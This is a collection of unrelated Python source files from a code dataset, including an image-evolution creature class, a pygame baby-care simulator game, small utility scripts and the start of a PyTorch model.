+{"seq_id":"17318269","text":"\r\n\r\nprint(\"PachecoJesus\")\r\n\r\ndef presion():\r\n print (\"P(t) = 30 + 2t [cmHg]\")\r\n print (\"Vi = 60 cm3\")\r\n t = float(input(\"Introduce el tiempo a calcular: \"))\r\n \r\n if t != 0:\r\n volumen = float(180/(30+2*t))\r\n cambio = float((volumen-180)/t)\r\n print(\"La razon de cambio es \",cambio,\"[cm^3/s]\")\r\npresion()\r\n","sub_path":"practica 0/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"385793777","text":"import os\nimport random\nimport string\nimport cPickle\nimport time\n\nimport Picklable\n\n##################################################################\nclass NoSuchCreature(Exception):\n def __init__(self, creature):\n Exception.__init__(self)\n self.creature = creature\n def __str__(self):\n return str(self.creature)\n\n##################################################################\nclass Creature(Picklable.Picklable):\n\n def __init__(self, experiment, name=None):\n Picklable.Picklable.__init__(self)\n self.experiment = experiment\n self.id = name or self.generateID()\n self.head = None\n self.ancestorName = \"\"\n self.hidden = False\n\n \n def __str__(self):\n return \"Creature(%s)\" % (self.id)\n \n def getID(self):\n return self.id\n \n def getName(self):\n return self.getID()\n \n def getImageName(self):\n return \"%s.jpg\" % (self.getName())\n \n def getImagePath(self):\n return os.path.join(self.experiment.getCreaturesDir(), self.getImageName())\n \n def getPageName(self):\n return \"%s.html\" % (self.getName())\n \n def getThumbName(self):\n return \"%s.t.jpg\" % (self.getName())\n \n def getPickleName(self):\n return \"%s.pkl\" % (self.getName())\n \n def getPageURL(self):\n return self.experiment.getCreaturesDir(False) + \"/\" + self.getPageName()\n \n def getFullPageURL(self):\n return os.path.join(self.experiment.getURL(), self.getPageURL())\n\n def getImageURL(self):\n return self.experiment.getCreaturesDir(False) + \"/\" + self.getImageName()\n\n def getThumbURL(self):\n abspath = os.path.join(self.experiment.getCreaturesDir(), self.getThumbName())\n url = self.experiment.tn.getURL(abspath)\n return url\n \n def getGalleryURL(self):\n url = \"/cgi-bin/gallery.py?e=%s&c=%s\" % (self.experiment.getName(), self.getName())\n if not self.experiment.getConfig()[\"local_only\"]:\n url = url + \"&s3=1\"\n return url\n \n def getInfo(self):\n ret = {\n \"name\" : self.getName(),\n \"page_url\" : self.getPageURL(),\n \"image_url\" : self.getImageURL(),\n \"thumb_url\" : self.getThumbURL(),\n \"parent\" : self.ancestorName or None,\n \"gallery_url\" : self.getGalleryURL(),\n \"hidden\" : self.hidden,\n }\n return ret\n\n\n #################################################################\n def conceive(self, depth):\n self.logger.debug(\"Conceiving %s...\" % (self))\n self.head = self.makeGenome(depth)\n if (self.experiment.config[\"reflect_mode\"]):\n reflect = self.experiment.getReflectTransformer()\n reflect.addInput(self.head)\n self.head = reflect\n \n \n #################################################################\n def hide(self):\n self.logger.debug(\"Hiding %s...\" % (self))\n self.hidden = True\n self.saveConfig()\n\n \n #################################################################\n def evolve(self):\n self.logger.debug(\"Evolving %s...\" % (self))\n self.mutate()\n self.tweak()\n \n \n #################################################################\n def mutate(self):\n if (random.random() <= self.experiment.getConfig()[\"mutation_rate\"]):\n mutation_funcs = [\n \"insertTransformer\",\n \"deleteTransformer\",\n \"swapTransformers\",\n ]\n getattr(self, random.choice(mutation_funcs))()\n else:\n self.logger.debug(\"%s did not mutate.\" % (self))\n\n \n def insertTransformer(self):\n \n # Pick a transformer to insert after.\n l = self.getTransformerPairs()\n if (len(l) == 0):\n # Only the reserved transformers!\n # In this case, we'll actually insert the new transformer *after* the srcimg.\n (prev, xform) = (None, self.head)\n else:\n (prev, xform) = random.choice(l)\n \n # Pick an input to insert before.\n inputs = xform.getInputs() # Returns a copy\n i = random.choice(range(len(inputs)))\n\n # Generate a new transformer.\n next = self.experiment.getRandomTransform()\n # Add the old input to it.\n if (len(l) == 0):\n next.addInput(xform)\n else:\n next.addInput(inputs[i])\n # Fill in any remaining inputs with new source images.\n for j in range(1, next.getExpectedInputCount()):\n next.addInput(self.getRandomSrcImage())\n \n # Insert the new transformer.\n if (len(l) == 0):\n self.head = next\n self.logger.debug(\"Inserted %s after %s.\" % (next, xform))\n else:\n inputs[i] = next\n xform.setInputs(inputs)\n # We say \"before\" because genomes are evaluated in bottom-up order.\n self.logger.debug(\"Inserted %s before %s.\" % (next, xform))\n \n \n def deleteTransformer(self):\n\n # Pick a transformer to delete.\n l = self.getTransformerPairs()\n if (len(l) == 0):\n # Only the reserved transformers!\n # Better abort\n return\n (prev, xform) = random.choice(l)\n \n # Pick one of its inputs to pop up.\n inputs = xform.getInputs() # Returns a copy\n next = random.choice(inputs)\n\n # Replace the transformer in the previous transformer's inputs.\n self.replaceInput(prev, xform, next)\n \n self.logger.debug(\"Deleted %s, popped up %s.\" % (xform, next))\n \n \n def swapTransformers(self):\n \n # Pick two transformers to swap.\n l = self.getTransformerPairs()\n if (len(l) <= 1):\n return\n (prev1, xform1) = random.choice(l)\n xform2 = xform1\n while (xform2 == xform1):\n (prev2, xform2) = random.choice(l)\n \n # Swap the inputs.\n inputs1 = xform1.getInputs() # Returns a copy\n inputs2 = xform2.getInputs() # Returns a copy\n min_inputs = min(len(inputs1), len(inputs2))\n start = random.randint(0, min_inputs-1)\n for i in range(min_inputs):\n i1 = (start + i) % len(inputs1)\n i2 = (start + i) % len(inputs2)\n input1 = inputs1[i1]\n if (input1 == xform2):\n input1 = xform1\n input2 = inputs2[i2]\n if (input2 == xform1):\n input2 = xform2\n inputs1[i1] = input2\n inputs2[i2] = input1\n xform1.setInputs(inputs1)\n xform2.setInputs(inputs2)\n \n # Replace the transformers in the previous transformers' inputs.\n self.replaceInput(prev1, xform1, xform2)\n self.replaceInput(prev2, xform2, xform1)\n\n self.logger.debug(\"Swapped %s and %s.\" % (xform1, xform2))\n \n \n def replaceInput(self, prev, old_input, new_input):\n if (prev == None):\n self.head = new_input\n else:\n inputs = prev.getInputs() # Returns a copy\n for i in range(len(inputs)):\n if (inputs[i] == old_input):\n inputs[i] = new_input\n break\n prev.setInputs(inputs)\n\n \n # Returns a list of (parent, child) pairs of transformers.\n # Parent will be None if Child is the head transformer.\n # NonTransformers, TileTransformers, and ReflectTransformers are not included.\n def getTransformerPairs(self):\n return self.head.getPairs()\n \n #################################################################\n def tweak(self):\n self.head.tweak(self.experiment.getConfig()[\"tweak_rate\"])\n \n \n #################################################################\n def run(self):\n self.logger.debug(\"====> Running %s...\" % (self))\n self.logger.debug(\"Genome:\\n\" + self.toString())\n if self.experiment.getConfig()[\"no_op\"]:\n qm = os.path.join(self.experiment.getDir(), self.experiment.question_mark)\n imagepath = os.path.join(self.experiment.getCreaturesDir(), self.getImageName())\n thumbpath = os.path.join(self.experiment.getCreaturesDir(), self.getThumbName())\n self.experiment.linkOrCopy(qm, imagepath)\n self.experiment.linkOrCopy(qm, thumbpath)\n if not self.experiment.getConfig()[\"local_only\"]:\n self.experiment.tn.uploadThumb(thumbpath)\n self.writeEmptyPage()\n #time.sleep(5)\n else:\n img = self.head.transform(self.experiment)\n self.writeImage(img)\n self.writeThumb(img)\n self.writePage()\n self.saveConfig()\n \n \n def writeImage(self, img):\n fname = os.path.join(self.experiment.getCreaturesDir(), self.getImageName())\n img.save(fname)\n \n \n def writeThumb(self, img):\n fname = os.path.join(self.experiment.getCreaturesDir(), self.getThumbName())\n self.experiment.tn.makeThumb(img, fname)\n\n \n def writePage(self):\n fname = os.path.join(self.experiment.getCreaturesDir(), self.getPageName())\n self.logger.debug(\"Creating page for %s...\" % (self))\n f = open(fname, \"w\")\n f.write(\"\\nExperiment %s, Creature %s\\n\" % (self.experiment.getName(), self.getID()))\n f.write('\\n')\n f.write(\"\\n\\n\")\n f.write(\"Chez Zeus > Photo Evolver 2 > Experiment\\n\")\n f.write(\"
    \\n

    Creature %s

    \\n\" % (self.getID()))\n f.write(\"\\n\")\n f.write(\"\\n\")\n f.write(\"
    \\n\")\n f.write(\"\" % (self.getImageName()))\n f.write(\"\\n
    \\n\")\n width = self.experiment.config[\"img_width\"] / 2\n f.write(\"

    \\n\")\n f.write(\"

    Genome:\\n%s
    \\n\" % (self.getGenomeFragment()))\n if self.ancestorName:\n f.write(\"

    Ancestry:\\n%s\\n
    \\n\" % (self.getAncestorFragment()))\n f.write(\"
    \\n\\n\\n\")\n f.close()\n\n\n def writeEmptyPage(self):\n fname = os.path.join(self.experiment.getCreaturesDir(), self.getPageName())\n self.logger.debug(\"Creating empty page for %s...\" % (self))\n f = open(fname, \"w\")\n f.write(\"\\nExperiment %s, Creature %s\\n\" % (self.experiment.getName(), self.getID()))\n f.close()\n\n\n def getGenomeFragment(self):\n l = []\n l.append(\"\")\n rows = map(lambda x: [], range(self.head.getDepth()))\n self.getGenomeFragmentInner(rows, self.head)\n for row in rows:\n l.append(\"\")\n for td in row:\n l.append(\"%s\" % (td))\n l.append(\"\")\n l.append(\"
    \")\n return string.join(l, \"\\n\")\n \n \n def getGenomeFragmentInner(self, rows, xform, i=0):\n if xform.is_non_transformer:\n srcimg = xform.getSrcImage()\n # Source image thumbnails are always served from the base srcimg dir.\n fpath = self.experiment.getSrcImageDir(False) + \"/\" + srcimg.getThumbName()\n src = self.experiment.tn.getURL(fpath)\n # And link to the local copy.\n href = \"../%s/%s\" % (self.experiment.getSrcImageDir(False), srcimg.getPageName())\n tdData = \"
    %s
    \" % (href, src, srcimg.getFilename())\n tdClass = \"genomeCell srcimgCell\"\n # Fill below us to the bottom of the table with empty cells.\n for j in range(i+1, len(rows)):\n rows[j].append(\"\")\n else:\n name = xform.__class__.__name__\n # Thumbnails come from the local creatures dir.\n fpath = self.experiment.getCreaturesDir() + \"/\" + xform.getThumbName()\n src = self.experiment.tn.getURL(fpath)\n if xform.is_reserved_transformer:\n # No link.\n tdData = \"
    %s%s\" % (src, name, xform.getArgsString())\n else:\n # Link to the local copy of the filter example.\n href = \"../%s/index.html#%s\" % (self.experiment.examples_dir, name)\n tdData = \"
    %s%s\" % (src, href, name, xform.getArgsString())\n tdClass = \"genomeCell\"\n if (len(xform.inputs) > 1):\n # Add a line across the bottom.\n tdClass = tdClass + \" srcimgCell\"\n # Push all the children onto their rows.\n for input in xform.inputs:\n self.getGenomeFragmentInner(rows, input, i+1)\n # Push us onto our row.\n rows[i].append(\"%s\" % (tdClass, xform.getWidth(), tdData))\n\n\n def getAncestorFragment(self):\n l = []\n l.append(\"\")\n ancestorName = self.ancestorName\n while (ancestorName):\n creature = self.__class__(self.experiment, ancestorName)\n creature.loadConfig()\n l.append(\"\" % (creature.getPageName(), creature.getThumbURL()))\n ancestorName = creature.ancestorName\n l.append(\"
    \")\n return string.join(l, \"\\n\")\n \n\n #################################################################\n def clone(self):\n new = self.__class__(self.experiment)\n new.ancestorName = self.getName()\n new.head = self.head.clone()\n self.logger.debug(\"Cloned %s from %s.\" % (new, self))\n return new\n \n \n #################################################################\n def makeGenome(self, depth):\n if (depth == 0):\n # Return the non-transformer\n xform = self.getRandomSrcImage()\n else:\n # Return some random transformer\n xform = self.experiment.getRandomTransform()\n for i in range(xform.getExpectedInputCount()):\n xform.addInput(self.makeGenome(depth - 1))\n return xform\n \n \n def getRandomSrcImage(self):\n src = self.experiment.getNonTransformer()\n src.addInput(self.experiment.getRandomSrcImage())\n if (self.experiment.config[\"tile_mode\"]):\n tile = self.experiment.getTileTransformer()\n tile.addInput(src)\n src = tile\n return src\n\n\n #################################################################\n def getGenome(self):\n return self.head.getGenome()\n \n def toString(self):\n return self.head.toString()\n \n\n #################################################################\n def __getstate__(self):\n d = Picklable.Picklable.__getstate__(self)\n del d[\"experiment\"]\n return d\n\n def saveConfig(self):\n self.logger.debug(\"Persisting %s...\" % (self))\n fname = os.path.join(self.experiment.getCreaturesDir(), self.getPickleName())\n f = open(fname, \"w\")\n cPickle.dump(self, f)\n f.close()\n \n \n def loadConfig(self):\n self.logger.debug(\"Depersisting %s...\" % (self))\n fname = os.path.join(self.experiment.getCreaturesDir(), self.getPickleName())\n if not os.path.exists(fname):\n raise NoSuchCreature(self)\n f = open(fname)\n creature = cPickle.load(f)\n f.close()\n self.head = creature.head\n self.ancestorName = creature.ancestorName\n self.hidden = getattr(creature, \"hidden\", False)\n \n ","sub_path":"Creature.py","file_name":"Creature.py","file_ext":"py","file_size_in_byte":16122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"503715686","text":"\n\n#calss header\nclass _TABLET():\n\tdef __init__(self,): \n\t\tself.name = \"TABLET\"\n\t\tself.definitions = [u'a small, solid piece of medicine: ', u'a thin, flat, often square piece of hard material such as wood, stone, or metal: ', u'a small, flat computer that is controlled by touching the screen or by using a special pen']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_tablet.py","file_name":"_tablet.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"39966050","text":"import re\n\n\nclass IncorrectValue(Exception):\n def __init__(self, arg):\n self.message = arg\n\n def __str__(self):\n return self.message\n\n\ndef main():\n while True:\n s = input(\"enter the time: \")\n if s == 'q':\n break\n\n if re.match('[01][0-9].[0-5][0-9]', s) or re.match('[2][0-3].[0-5][0-9]', s):\n h, m = map(int, s.split(\".\"))\n print(\"in minutes: {0}\".format(h * 60 + m))\n else:\n print(\"incorrect date, cannot parse hours and minutes\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"lab1/third.py","file_name":"third.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"123124253","text":"import sys\nimport cPickle as pickle\n\ndef main():\n toCombine = sys.argv[1:-1]\n out = sys.argv[-1]\n sents = []\n for c in toCombine:\n with open(c) as f:\n sents.append(pickle.load(f))\n curId = sents[0][1]\n writeId = 0\n finalSents = []\n for s in sents:\n for i in s:\n newId = i[1]\n if newId != curId:\n writeId += 1\n curId = newId\n finalSents.append((i[0], writeId))\n with open(out, 'w') as f:\n pickle.dump(finalSents, f, -1)\n \nif __name__ == \"__main__\":\n main()\n","sub_path":"AltruisticLanguage/ContentModel/cleanCompress.py","file_name":"cleanCompress.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"541522805","text":"#Baby Simulator v1.2\n#programmed by Edward Muela\n#\n#http://edwardmuela.com\n#http://gitbaby.com\n#\n#Baby Simulator is a text-simulator game program intended to evoke\n#the frustration of caring for an infant child. Users feed, clean,\n#and care for a baby. If the user fails to feed or clean the baby,\n#it will die.\n#\n#Ultimately, the only thing the user does is perform tasks to delay\n#the inevetable death of the child.\n\n\n\n\n\n#Import libraries\nimport pygame\nimport time\nfrom pygame.locals import *\n\n#Constants\nBLACK = (0,0,0)\nWHITE = (255,255,255)\nRED = (255, 14, 14)\nGREEN = (14, 255, 14)\nBLUE = (14, 14, 255)\n\nSCREEN_WIDTH = 640\nSCREEN_HEIGHT = 480\n\n#-----CLASSES-----\nclass Baby():\n\talive = True\n\thealthy = True\n\thunger = 1\n\tfood = False\n\tdirty = False\n\tdigestion = 0\n\tinfection = 0\n\tinfected = False\n\tstarved = False\n\tfeed = False\n\t\n\tdef __init__(self):\t\n\t\tprint (\"A baby has been born!\")\n\t\tself.alive = True\n\t\tself.healthy = True\n\t\tself.hunger = 0\n\t\tself.food = False\n\t\tself.dirty = False\n\t\tself.digestion = 0\n\t\tself.infection = 0\n\t\tself.infected = False\n\t\tself.starved = False\n\t\tself.feed = False\n\t\tself.feeding = False\n\nclass Game():\n\t\n\t#Sprites\n\tbabyImage = None\n\tdeadBabyImage = None\n\tinfectedBaby = None\n\teating1 = None\n\teating2 = None\n\teating3 = None\n\teating4 = None\n\teatingDirty1 = None\n\teatingDirty2 = None\n\teatingDirty3 = None\n\teatingDirty4 = None\n\tbabyPoop = None\n\t#Animations\n\teatingFrames = []\n\t#Sounds\n\tgulp1 = None\n\tgulp2 = None\n\tgulp3 = None\n\tgulp4 = None\n\t#Typeface\n\tfont = None\n\t#Messages\n\tpromptText = None\n\tstarvedText = None\n\trestartText = None\n\tfeedingText = None\n\tinfectedText = None\n\t#Other data\n\tprompt = \"\"\n\tfont = None\n\tgameOver = False\n\tmyBaby = None\n\tanimationClock = pygame.time.Clock()\n\t\n\tdef __init__(self):\n\t\t#Load media into memory\n\t\tself.font = pygame.font.Font(\"fonts/mini_pixel-7.ttf\", 30)\n\t\tself.babyImage = pygame.image.load(\"images/baby.png\").convert()\n\t\tself.babyImage.set_colorkey(WHITE)\n\t\tself.deadBabyImage = pygame.image.load(\"images/deadBaby.png\").convert()\n\t\tself.deadBabyImage.set_colorkey(WHITE)\n\t\tself.infectedBaby = pygame.image.load(\"images/infectedBaby.png\").convert()\n\t\tself.eating1 = pygame.image.load(\"images/eating1.png\").convert()\n\t\tself.eatingFrames.append(self.eating1)\n\t\tself.eating2 = pygame.image.load(\"images/eating2.png\").convert()\n\t\tself.eatingFrames.append(self.eating2)\n\t\tself.eating3 = pygame.image.load(\"images/eating3.png\").convert()\n\t\tself.eatingFrames.append(self.eating3)\n\t\tself.eating4 = pygame.image.load(\"images/eating4.png\").convert()\n\t\tself.eatingFrames.append(self.eating4)\n\t\tself.eatingDirty1 = pygame.image.load(\"images/eatingDirty1.png\").convert()\n\t\tself.eatingFrames.append(self.eatingDirty1)\n\t\tself.eatingDirty2 = pygame.image.load(\"images/eatingDirty2.png\").convert()\n\t\tself.eatingFrames.append(self.eatingDirty2)\n\t\tself.eatingDirty3 = pygame.image.load(\"images/eatingDirty3.png\").convert()\n\t\tself.eatingFrames.append(self.eatingDirty3)\n\t\tself.eatingDirty4 = pygame.image.load(\"images/eatingDirty4.png\").convert()\n\t\tself.eatingFrames.append(self.eatingDirty4)\n\t\tself.babyPoop = pygame.image.load(\"images/babyPoop.png\").convert()\n\t\tself.gulp1 = pygame.mixer.Sound(\"sounds/gulp1.wav\")\n\t\tself.gulp2 = pygame.mixer.Sound(\"sounds/gulp2.wav\")\n\t\tself.gulp3 = pygame.mixer.Sound(\"sounds/gulp3.wav\")\n\t\tself.gulp4 = pygame.mixer.Sound(\"sounds/gulp4.wav\")\n\t\t#Set string variables\n\t\tself.promptText = self.font.render(\"What would you like to do?\", True, BLUE)\n\t\tself.starvedText = self.font.render(\"The baby starved to death!\", True, RED)\n\t\tself.restartText = self.font.render(\"Have another baby? (y/n)\", True, RED)\n\t\tself.feedingText = self.font.render(\"The baby is being fed.\", True, GREEN)\n\t\tself.infectedText = self.font.render(\"The baby died of infection.\", True, RED)\n\t\t#Create instance of baby\n\t\tself.myBaby = Baby()\n\t\tself.gameOver = False\n\t\t\n\tdef processEvents(self,screen):\n\t\tfor event in pygame.event.get(): #User did something\n\t\t\tif event.type == pygame.QUIT: #If user clicked close\n\t\t\t\treturn True\n\t\t\tif event.type == KEYDOWN:\n\t\t\t\tif event.key == K_ESCAPE:\n\t\t\t\t\treturn True\n\t\t\t\tif event.unicode.isalpha():\n\t\t\t\t\tself.prompt += event.unicode\n\t\t\t\telif event.key == K_BACKSPACE:\n\t\t\t\t\tself.prompt = self.prompt[:-1]\n\t\t\t\telif event.key == K_SPACE:\n\t\t\t\t\tself.prompt += \" \"\n\t\t\t\t#When user presses RETURN, process the string\n\t\t\t\telif event.key == K_RETURN:\n\t\t\t\t\tcommand = self.prompt\n\t\t\t\t\twords = command.split()\n\t\t\t\t\tfor item in words:\n\t\t\t\t\t\tif item == \"feed\":\n\t\t\t\t\t\t\tself.myBaby.feed = True\n\t\t\t\t\t\t\tself.myBaby.food = True\n\t\t\t\t\t\t\tself.myBaby.hunger -= 100\n\t\t\t\t\t\t\tprint (\"You fed the baby.\")\n\t\t\t\t\t\tif item == \"clean\":\n\t\t\t\t\t\t\tself.myBaby.dirty = False\n\t\t\t\t\t\t\tself.myBaby.infection = 0\n\t\t\t\t\t\t\tself.myBaby.healthy = True\n\t\t\t\t\tself.prompt = \"\"\n\t\t\t\tif self.gameOver:\n\t\t\t\t\tif event.key == K_y:\n\t\t\t\t\t\tself.prompt = \"\"\n\t\t\t\t\t\tself.__init__() #make new baby\n\t\treturn False\n\t\n\tdef runLogic(self):\n\t\tif not self.gameOver:\n\t\t\t#Increase hunger\n\t\t\tself.myBaby.hunger += 1\n\t\t\t#Digest food\n\t\t\tif self.myBaby.food == True:\n\t\t\t\tself.myBaby.digestion += 1\n\t\t\t#Advance infection\n\t\t\t\tif self.myBaby.dirty == True:\n\t\t\t\t\tself.myBaby.infection += 1\n\t\t\t#Poop\n\t\t\tif self.myBaby.digestion > 100:\n\t\t\t\tself.myBaby.digestion = 0\n\t\t\t\tself.myBaby.dirty = True\n\t\t\t\tself.myBaby.food = False\n\t\t\t\tself.myBaby.healthy = False\n\t\t\t#Check for death by infection\n\t\t\tif self.myBaby.infection > 100:\n\t\t\t\tself.myBaby.infected = True\n\t\t\t\tself.gameOver = True\n\t\t\t\tself.myBaby.healthy = False\n\t\t\t#Check for death by starvation\n\t\t\tif self.myBaby.hunger > 200:\n\t\t\t\tself.myBaby.starved = True\n\t\t\t\tself.gameOver = True\n \t\n\t\t\t#Check condition of baby, and display the apropriate status\n\n\tdef displayFrame(self,screen):\n\t\tscreen.fill(BLACK)\n\t\t\n\t\tif self.gameOver:\n\t\t\t#Check how baby died and display appropriate graphics\n\t\t\tif self.myBaby.infected:\n\t\t\t\t#infected baby image\n\t\t\t\tscreen.blit(self.infectedBaby,[SCREEN_WIDTH/2-132,5])\n\t\t\t\t#tell user the baby died of infection\n\t\t\t\tscreen.blit(self.infectedTexcht, [SCREEN_WIDTH/2-125,400])\n\t\t\t\t#ask to restart\n\t\t\t\tscreen.blit(self.restartText, [SCREEN_WIDTH/2-125,420])\t\t\t\t\n\t\t\tif self.myBaby.starved:\n\t\t\t\tif self.myBaby.dirty:\n\t\t\t\t\t#infected baby image\n\t\t\t\t\tscreen.blit(self.infectedBaby,[SCREEN_WIDTH/2-132,5])\n\t\t\t\t\t#tell user the baby died of starvation\n\t\t\t\t\tscreen.blit(self.starvedText, [SCREEN_WIDTH/2-125,400])\n\t\t\t\t\t#ask to restart\n\t\t\t\t\tscreen.blit(self.restartText, [SCREEN_WIDTH/2-125,420])\n\t\t\t\telse:\n\t\t\t\t\t#dead baby image\n\t\t\t\t\tscreen.blit(self.deadBabyImage,[SCREEN_WIDTH/2-132,5])\n\t\t\t\t\t#tell user the baby died of starvation\n\t\t\t\t\tscreen.blit(self.starvedText, [SCREEN_WIDTH/2-125,400])\n\t\t\t\t\t#ask to restart\n\t\t\t\t\tscreen.blit(self.restartText, [SCREEN_WIDTH/2-125,420])\n\t\tif not self.gameOver:\n\t\t\tif self.myBaby.dirty == True:\n\t\t\t\tif self.myBaby.feed == True:\n\t\t\t\t print (\"baby is being fed while dirty\")\n\t\t\t\t screen.blit(self.feedingText, [SCREEN_WIDTH/2-105,400])\n\t\t\t\t screen.blit(self.eatingDirty1,[SCREEN_WIDTH/2-132, 5])\n\t\t\t\t screen.blit(self.feedingText, [SCREEN_WIDTH/2-105,400])\n\t\t\t\t pygame.display.flip()\n\t\t\t\t time.sleep(0.5)\n\t\t\t\t screen.blit(self.eatingDirty2,[SCREEN_WIDTH/2-132, 5])\n\t\t\t\t screen.blit(self.feedingText, [SCREEN_WIDTH/2-105,400])\n\t\t\t\t pygame.display.flip()\n\t\t\t\t self.gulp1.play()\n\t\t\t\t time.sleep(0.5)\n\t\t\t\t screen.blit(self.eatingDirty3,[SCREEN_WIDTH/2-132, 5])\n\t\t\t\t screen.blit(self.feedingText, [SCREEN_WIDTH/2-105,400])\n\t\t\t\t pygame.display.flip()\n\t\t\t\t self.gulp2.play()\n\t\t\t\t time.sleep(0.5)\n\t\t\t\t screen.blit(self.eatingDirty4,[SCREEN_WIDTH/2-132, 5])\n\t\t\t\t screen.blit(self.feedingText, [SCREEN_WIDTH/2-105,400])\n\t\t\t\t pygame.display.flip()\n\t\t\t\t self.gulp3.play()\n\t\t\t\t time.sleep(0.5)\n\t\t\t\t self.gulp4.play()\n\t\t\t\t self.myBaby.feed = False\n\t\t\t\t self.prompt = \"\"\n\t\t\t\telse:\n\t\t\t\t\t#poop baby image\n\t\t\t\t\tscreen.blit(self.babyPoop,[SCREEN_WIDTH/2-132, 5])\n\t\t\t\t\t#prompt user to enter command\n\t\t\t\t\tscreen.blit(self.promptText, [SCREEN_WIDTH/2-125,400])\n\t\t\t\t\t#draw input text block\n\t\t\t\t\tblock = self.font.render(self.prompt, True, WHITE)\n\t\t\t\t\tscreen.blit(block, [SCREEN_WIDTH/2-125,420])\n\t\t\tif self.myBaby.healthy == True:\n\t\t\t\tif self.myBaby.feed == True:\n\t\t\t\t\tscreen.blit(self.feedingText, [SCREEN_WIDTH/2-105,400])\n\t\t\t\t\tscreen.blit(self.eating1,[SCREEN_WIDTH/2-132, 5])\n\t\t\t\t\tpygame.display.flip()\n\t\t\t\t\ttime.sleep(0.5)\n\t\t\t\t\tscreen.blit(self.eating2,[SCREEN_WIDTH/2-132, 5])\n\t\t\t\t\tpygame.display.flip()\n\t\t\t\t\tself.gulp1.play()\n\t\t\t\t\ttime.sleep(0.5)\n\t\t\t\t\tscreen.blit(self.eating3,[SCREEN_WIDTH/2-132, 5])\n\t\t\t\t\tpygame.display.flip()\n\t\t\t\t\tself.gulp2.play()\n\t\t\t\t\ttime.sleep(0.5)\n\t\t\t\t\tscreen.blit(self.eating4,[SCREEN_WIDTH/2-132, 5])\n\t\t\t\t\tpygame.display.flip()\n\t\t\t\t\tself.gulp3.play()\n\t\t\t\t\ttime.sleep(0.5)\n\t\t\t\t\tself.gulp4.play()\n\t\t\t\t\tself.myBaby.feed = False\n\t\t\t\t\tself.prompt = \"\"\n\t\t\t\telse:\n\t\t\t\t\t#healthy baby image\n\t\t\t\t\tscreen.blit(self.babyImage,[SCREEN_WIDTH/2-132, 5])\n\t\t\t\t\t#prompt user to enter command\n\t\t\t\t\tscreen.blit(self.promptText, [SCREEN_WIDTH/2-125,400])\n\t\t\t\t\t#draw input text block\n\t\t\t\t\tblock = self.font.render(self.prompt, True, WHITE)\n\t\t\t\t\tscreen.blit(block, [SCREEN_WIDTH/2-125,420])\n\t\tpygame.display.flip()\n\n#-----MAIN FUNCTION-----\ndef main():\n\t\t\t\t\n\t#Initialize the game engine\n\tpygame.init()\n\n\t#Set the width and height of the screen and\n\t#make set fullscreen or not.\n\tsize = [SCREEN_WIDTH,SCREEN_HEIGHT]\n\tscreen = pygame.display.set_mode(size)\n\t#screen = pygame.display.set_mode(size,pygame.FULLSCREEN)\n\tpygame.display.set_caption(\"Baby Simulator\")\n\tpygame.mouse.set_visible(False)\n\n\t#Create our objects and set the data\n\tdone = False\n\tclock = pygame.time.Clock()\n\tgame = Game()\n\n\n\t\t\n\t\n\t#-----MAIN GAME LOOP-----\n\twhile not done:\n\t\t#Process events (keystrokes, mouse clicks, etc.)\n\t\tdone = game.processEvents(screen)\n\t\t\n\t\t#Update game logic\n\t\tgame.runLogic()\n\t\t\n\t\t#Draw the current frame\n\t\tgame.displayFrame(screen)\n\t\t\n\t\t#Pause for the next frame\n\t\tclock.tick(20) #20 frames per second\n\n#\tprint (\"hunger - '{:3}' food - '{}' dirty - '{}' healthy - '{}'\".format(myBaby.hunger,myBaby.food,myBaby.dirty,myBaby.healthy))\n\n#Call the main function, start up the game\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"oldVersions/babySimulator_1.2.py","file_name":"babySimulator_1.2.py","file_ext":"py","file_size_in_byte":10056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"197179998","text":"# -*- coding: utf-8 -*-\n\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nimport json\nimport datetime\n\nimport angus.client\nimport pytz\n\nc = angus.client.connect()\ns = c.services.get_service(\"scene_analysis\")\ns.enable_session()\n\ndef data():\n \"\"\"Frame generator\n \"\"\"\n with open(\"macgyver.jpg\", \"rb\") as image_file:\n img = image_file.read()\n\n for _ in range(20):\n timestamp = datetime.datetime.now(pytz.utc)\n\n yield ({\"timestamp\": timestamp.isoformat()}, \"image\", img)\n\nfor job in s.stream(data=data()):\n print(json.loads(job))\n","sub_path":"examples/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"350866717","text":"import argparse\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport torch\nfrom torchvision import transforms\nfrom rirnet.transforms import ToUnitNorm, ToTensor, ToNormalized, ToNegativeLog\nimport matplotlib.pyplot as plt\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n\n self.conv1_t = nn.Conv2d(1, 8, (65,1))\n self.conv1_f = nn.Conv2d(1, 8, (1,225))\n self.conv2_t = nn.Conv1d(8, 16, 3, padding = 1)\n 